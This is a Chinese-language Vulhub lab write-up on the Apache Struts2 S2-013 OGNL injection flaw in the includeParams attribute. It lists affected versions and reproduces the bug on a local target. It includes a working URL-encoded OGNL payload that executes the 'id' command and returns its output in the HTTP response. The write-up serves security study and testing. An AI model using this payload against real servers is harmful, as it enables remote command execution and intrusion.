Vulnhub-Struts2系列漏洞

S2-013远程代码执行漏洞

漏洞简述

struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none – 链接不包含请求的任意参数值(默认)
  2. get – 链接只包含 GET 请求中的参数和其值
  3. all – 链接包含 GET 和 POST 所有参数和其值

`<s:a>`用来显示一个超链接,当`includeParams=all`的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

影响版本

2.0.0 – 2.3.14.1

准备环境

启动Vulnhub靶机环境:

验证靶机应用启用成功:

漏洞复现

最简单payload ${1+1}(记得编码提交 :)

就可以看到返回的url中的参数已经被解析成了2

PayLoad:

%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

漏洞利用成功